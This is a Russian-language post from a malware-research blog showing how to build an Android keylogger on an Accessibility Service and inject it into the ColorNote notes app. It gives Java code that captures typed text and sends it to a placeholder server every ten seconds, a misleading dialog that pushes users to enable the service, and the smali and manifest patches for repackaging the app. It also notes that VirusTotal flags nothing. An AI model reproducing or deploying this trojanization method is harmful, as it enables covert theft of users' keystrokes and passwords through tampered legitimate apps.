Order Of Six Angles

Main Logo

A security researcher's blog about reverse-engineering, malware and malware analysis

Home | RU | Translations | Tools | Art | About

17 July 2019

tags: android - malware

Встраиваем кейлоггер в блокнот (no root)

Intro

В этой части, я покажу, как злоумышленник может внедрить кейллогер в простой блокнот. Отличие от предыдущего варианта будет в том, что внедряться, помимо кода, будет еще и GUI элемент.

Keylogger не требующий рута

На данный момент, мне известно два способа создания кейлоггера под андроид, на нерутованном телефоне. Первый способ - создание своей виртуальной клавиатуры. Вы устанавливаете такое приложение и добавляете его в настройках, как виртуальную клавиатуру.

Это способ самый бесполезный, собственная клавиатура хорошо видна пользователю. Второй способ, это создание Accessibility Service. Такие сервисы, встраиваются в приложения, для людей с ограниченными возможностями. Они имеют доступ ко многим вещам, одна из которых - пользовательский ввод. Именно то что нужно для кейлоггера.

Создаем payload

Payload будет состоять из трех классов - ExecuteAttack, GoogleService, SendService. Класс MainActivity просто вспомогательный. И еще у нас будет xml конфиг AccessibilityService.

Чтобы наш Accessibility Service начал работать, пользователю необходимо включить его в настройках. Мы поможем в этом пользователю, внедрив в приложение всплывающее окно, с текстом Please enable app in settings! Otherwise it will stop working (можно использовать и более пугающий текст). И добавим кнопочку, чтобы пользователь по ней кликнул и перешел сразу в настройки. Класс ExecuteAttack именно это и делает.

public static void openSettings(final Context ctx) {
        AlertDialog alertDialog = new AlertDialog.Builder(ctx).create();
        alertDialog.setTitle("Alert");
        alertDialog.setMessage("Please enable app in settings! Otherwise it will stop working");
        alertDialog.setButton(AlertDialog.BUTTON_NEUTRAL, "Settings",
                new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int which) {
                        ctx.startActivity(new Intent("android.settings.ACCESSIBILITY_SETTINGS"));
                    }
                });
        alertDialog.show();
    }

GoogleService - основная логика кейллогера. Является AccessibilityService:

public class GoogleService extends AccessibilityService {

Метод onAccessibilityEvent() принимает все входящие события. Событие AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED приходит, когда пользователь вводит текст в поле какое-нибудь. Мы отлавливаем именно его. Весь ввод записываем в буфер. И каждые 10 секунд отправляем этот буфер на свой сервер, стартуя SendService.

public void onAccessibilityEvent(AccessibilityEvent event) {
        switch (event.getEventType()) {
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:

                int len = event.getText().toString().length();
                char c;
                if (len > 0) {
                    c = event.getText().toString().charAt(len - 2);

                    buf += c;
                }
                break;
            default:
                break;
        }
        Log.d(TAG, "Keylogger buffer now " + buf);
        Date now = new Date();
        Date newTime = new Date(GoogleService.CURRENT_TIMESTAMP.getTime() + 10 * 1000);

        if (now.after(newTime) && !"".equals(buf)) {

            Context ctx = getApplicationContext();

            Intent intent = new Intent(ctx, SendService.class);

            intent.putExtra("text", buf);
            ctx.startService(intent);

            GoogleService.CURRENT_TIMESTAMP = now;
            buf = "";
        }
    }

Конфиг, нашего GoogleService, выглядит так:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:accessibilityEventTypes="typeViewTextChanged"
    android:accessibilityFeedbackType="feedbackSpoken|feedbackHaptic|feedbackAudible|feedbackVisual|feedbackGeneric|feedbackAllMask"
    android:notificationTimeout="100"
    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews"
    android:canRetrieveWindowContent="false" />

В нем указывается, на какие события подписывается наш сервис и другая информация.

SendService - просто отправляет данные на сервер.

private void sendResult(String text) {

        Log.d(TAG, "Sending result to server");

        HttpURLConnection urlConnection = null;

        try {
            int length = text.length();

            URL url = new URL("http://xxxxxxxxx");
            urlConnection = (HttpURLConnection) url.openConnection();
            urlConnection.setConnectTimeout(30 * 1000);

            urlConnection.setRequestMethod("POST");
            urlConnection.setDoOutput(true);
            urlConnection.setDoInput(false);
            urlConnection.setRequestProperty("Content-Type", "text/plain");
            urlConnection.setRequestProperty("Content-Length", Integer.valueOf(length).toString());

            DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream());
            Log.d(TAG, "Sending " + text);
            request.write(text.getBytes(StandardCharsets.UTF_8));
            request.flush();
            request.close();

            int respCode = urlConnection.getResponseCode();
            Log.d(TAG, "Return status code: " + respCode);
            urlConnection.disconnect();
        } catch (Exception e) {
            Log.d(TAG, e.getMessage());
        }

    }

MainActivity - нам нужен лишь для получения smali кода вызова основного метода.

Собираем apk, декомпилируем, с помощью apktool, и пока оставляем так.

Внедряем payload

Зайдем в Play Market и скачиваем достаточно популярное приложение ColorNote. Декомпилируем его, с помощью apktool. Открываем манифест, чтобы найти главный активити. Как говорилось раннее, нам это необходимо для того, чтобы наш кейлоггер работал сразу, после запуска приложения.

<activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" 
	  
	  android:label="@string/app_name" android:name="com.socialnmobile.colornote.activity.Main" 
	  
	  android:taskAffinity="colornote.task.main" android:theme="@style/Theme.NoTitle.Light" 
	  
	  android:windowSoftInputMode="adjustPan">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
                <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
                <category android:name="android.intent.category.MONKEY"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <action android:name="android.intent.action.EDIT"/>
                <action android:name="android.intent.action.PICK"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="vnd.android.cursor.dir/vnd.socialnmobile.colornote.note"/>
            </intent-filter>

Видим нужный класс com.socialnmobile.colornote.activity.Main. В нем ищем метод OnCreate(). Видим промежуток между line 164 и line 172. Туда и будем внедрять вызов нашей функции.

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 6

    .prologue
    const v2, 0x7f0800f9

    const/4 v5, 0x0

    const/4 v4, 0x1

    .line 164
    invoke-super {p0, p1}, Lcom/socialnmobile/colornote/activity/ThemeFragmentActivity;->onCreate(Landroid/os/Bundle;)V
	
	<------------------------ //Внедряемся сюда
	
    .line 172
    invoke-virtual {p0, v4}, Lcom/socialnmobile/colornote/activity/Main;->d(I)V

    .line 173
    const v0, 0x7f0a0003

Мы написали кейлоггер так, чтобы было достаточно вызвать одну функцию openSettings() в классе ExecuteAttack. Вызов этой функции у нас был в MainActivity. Открываем smali версию этого класса.

# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 0

    .line 13
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    const p1, 0x7f09001c

    .line 14
    invoke-virtual {p0, p1}, Lkz/c/keylogger/MainActivity;->setContentView(I)V

    .line 15
    invoke-static {p0}, Lkz/c/keylogger/ExecuteAttack;->openSettings(Landroid/content/Context;)V
	// Нужная нам строка
	
    return-void
.end method

Берем этот вызов и добавляем в com.socialnmobile.colornote.activity.Main. В итоге он выглядит так.

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 6

    .prologue
    const v2, 0x7f0800f9

    const/4 v5, 0x0

    const/4 v4, 0x1

    .line 164
    invoke-super {p0, p1}, Lcom/socialnmobile/colornote/activity/ThemeFragmentActivity;->onCreate(Landroid/os/Bundle;)V
	
	.line 165
    invoke-static {p0}, Lcom/socialnmobile/colornote/activity/ExecuteAttack;->openSettings(Landroid/content/Context;)V
	
    .line 172
    invoke-virtual {p0, v4}, Lcom/socialnmobile/colornote/activity/Main;->d(I)V

Теперь копируем нужные smali, в декомпилированную папку ColorNote, как это делали в предыдущий раз. Меняем им package name. Не забываем об xml конфиге нашего сервиса, его тоже переносим в папку res\xml. Осталось добавить наш AccessibilityService и сервис по отправке данных на сервер в манифест.

<service android:name="com.socialnmobile.colornote.activity.SendService"/>
        <service android:name="com.socialnmobile.colornote.activity.GoogleService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
            <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config" />
        </service>

Как и ранее, собираем с помощью apktool и подписываем jarsigner. Virustotal говорит, что мы чисты.

Видео, как это работает:

https://youtu.be/vTHcc6OSou0

Вверх